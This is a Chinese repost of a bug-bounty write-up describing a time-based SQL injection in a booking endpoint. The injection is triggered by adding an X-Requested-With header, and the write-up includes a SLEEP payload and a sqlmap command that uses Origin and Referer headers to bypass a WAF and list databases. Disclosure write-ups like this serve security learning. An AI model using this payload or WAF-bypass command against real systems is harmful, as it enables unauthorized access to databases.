0126.我是如何通过发现公开漏洞赏金计划中的一个严重SQL注入漏洞而获得巨额奖金的。

admin 2026-02-04 17:45:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者分享发现某公开赏金计划严重SQL注入漏洞的过程。通过在POST请求中添加X-Requested-With:XMLHttpRequest头部触发code参数报错,并利用Origin和Referer头部绕过WAF,最终使用Sqlmap成功获取数据库访问权限。文章强调了特定请求头在挖掘此类漏洞时的关键作用。 综合评分: 88 文章分类: WEB安全,SRC活动,渗透测试,漏洞分析,漏洞POC


cover_image

0126.我是如何通过发现公开漏洞赏金计划中的一个严重 SQL 注入漏洞而获得巨额奖金的。

原创

Ahmad Yussef Ahmad Yussef

Rsec

2026年2月4日 10:08 贵州

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:特殊的HTTP请求头导致的SQL注入

假设我的目标是:

target[.].com

重现步骤:

  • 发现一个 POST 请求 /Public/bookingAX.php
  • 包含以下参数(task=unlockcode&lang=EN&eventnr=500&orderid=&code=500)

请求:

现在我开始手动测试 SQL 注入,在每个参数值后添加 ‘,例如,(task=unlockcode&lang=de&etnr=500’&orderid=&code=500)

  • 我将继续对每个参数进行测试。
  • 在每个参数后添加单引号’,没有得到任何结果。
  • 回应总是这样:
HTTP/1.1 200 OKDate: Friday, January 30, 2026, 16:11:19 GMTContent Type: Text/HTMLContent Length: 96Connection: ContinuousServer: ApacheExpiration Date: Thursday, November 19, 1981, 08:52:00 GMTCaching Control: No caching, no buffering, must re-verifyPragma: No bufferingVari: Accept encoding
{"stat":true,"msg":"Enter global action code","fields":null,"errors":null}

好的,我们再用一些标头进行测试。许多公司通过在请求中添加 (Origin, referrer) 标头来验证对服务器的信任度(这些标头有时会让服务器更信任黑客,所以这正是我的意思,为了让服务器更信任发送请求的人)。

总之,添加这两个标题后,它们将如下所示:

  • 来源:https://dedicated[.]com
  • 来源:https://dedicated[.]com
  • 现在让我们通过在每个参数值后面添加单引号来再次测试参数。

是的,也没有任何结果🤔😁。

回答是一样的:

让我们转向更技术性的方向,使用更多的头部信息:

我使用的标题的力量,让我们来简要说明一下。

经过多次测试和许多标头,我发现了一个非常有趣的标头,它叫做:

X-Requested-With: XMLHttpRequest

  • X-Requested-With 标头是一个非标准的 HTTP 标头,主要用于指示 HTTP 请求是通过浏览器使用异步 JavaScript 和 XML (AJAX) 发送的。
  • X-Requested-With (XRW) 是一个非标准标头。当用户安装并运行一个使用 WebView 嵌入网页内容的应用程序时,WebView 会在发送给服务器的每个请求中添加 X-Requested-With 标头,其值为应用程序的 APK 名称。

关于这个标头,我就不多赘述了,你可以自己去谷歌搜索一下,了解它的工作原理、验证方式以及可以添加在哪里。

[译者注:

X-Requested-With标识 HTTP 请求的来源类型,帮助服务器判断请求是来自:

  • 普通浏览器导航
  • AJAX/Fetch API 发起的异步请求
  • 移动端原生应用
  • 第三方脚本或工具

其中X-Requested-With:XMLHttpRequest用于标识ajax请求

服务端可能的代码(PHP):

// PHP示例if(isset($_SERVER['HTTP_X_REQUESTED_WITH'])    && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {    // 获得权限} else {    // 拒绝服务或者鉴权}

猜测:服务端使用X-Requested-With校验权限了

]

但请听我一句劝告:

当您看到支付功能、预订功能、活动功能以及其他一些需要从请求中检查更多信息的功能时,请务必添加此标头 X-Requested-With: XMLHttpRequest 。

现在让我们继续进行以下步骤:

  • 现在,在我的原始请求中添加 X-Requested-With: XMLHttpRequest,将会是:

包含标头 X-Requested-With: XMLHttpRequest 的完整请求

  • 回复如下:

添加请求头后的响应与第一次响应相同,没有问题。

现在让我们重新开始手动测试,在每个参数后面添加单引号,看看是否有任何参数容易受到 SQL 注入攻击!

  • 代码参数的值中添加单引号后,我看到了这个回复😱!!
  • {“stat”:true,”msg”:”Database Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’500’’’ at line 2: select * from promouses\n\t\t\t\twhere eventnr=500 and lower(code)=’500’’”,”fields”:null,”errors”:null}
  • 耶!很高兴看到这个!!!数据库出错!!!很有意思🤔。

完整的请求和回复:

添加 X-Requested-With 标头后的完整请求和响应。

  • 接下来是漏洞利用部分,我使用了以下有效载荷:
500' AND (SELECT 9590 FROM (SELECT(SLEEP(8)))XFQD)-- rWRS
  • 成功了,但当然这还不够,让我们打开 Sqlmap😈,看看有没有什么 WAF 之类的东西返回来,把数据库搞得一团糟!!!
  • 正如我所料,出现了 403!
  • 通过以下命令完全绕过了 WAF:
  • sqlmap -u "https://dedicated[.]com/public/bookingAX.php" --data="task=unlockcode&lang=de&eventnr=500&orderid=&code=500" --cookie="PHPSESSID=Your-Cookies" --headers="X-Requested-With: XMLHttpRequest\nReferer: https://dedicated[.]com/itsec\nOrigin: https://dedicated[.]com" -p code --level=3 --risk=3 --technique=T --dbms=mysql --time-sec=8 --batch --random-agent --threads=5 --dbs
  • 是的,您必须始终添加 Origin 和 referrer 标头才能尝试绕过 Waf。

sqlmap 的完整漏洞利用程序,返回数据库:

完全数据库访问权限。🔥

各位,就这些了,希望你们喜欢。我尽力让文章简单易懂。如果你有兴趣加入我的私人频道,可以点击这里查看详情 :https://t.me/a7madn1/141

感谢阅读🥳


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec Ahmad Yussef Ahmad Yussef《0126.我是如何通过发现公开漏洞赏金计划中的一个严重 SQL 注入漏洞而获得巨额奖金的。》

股权风险溢价 网络安全文章

股权风险溢价

文章总结: 文档解释了股权风险溢价定义及成因,即投资者因承担股市高风险要求的超过无风险资产的额外回报。文章对比了调查法、历史法和隐含法三种估算手段,推荐隐含法因
评论:0   参与:  0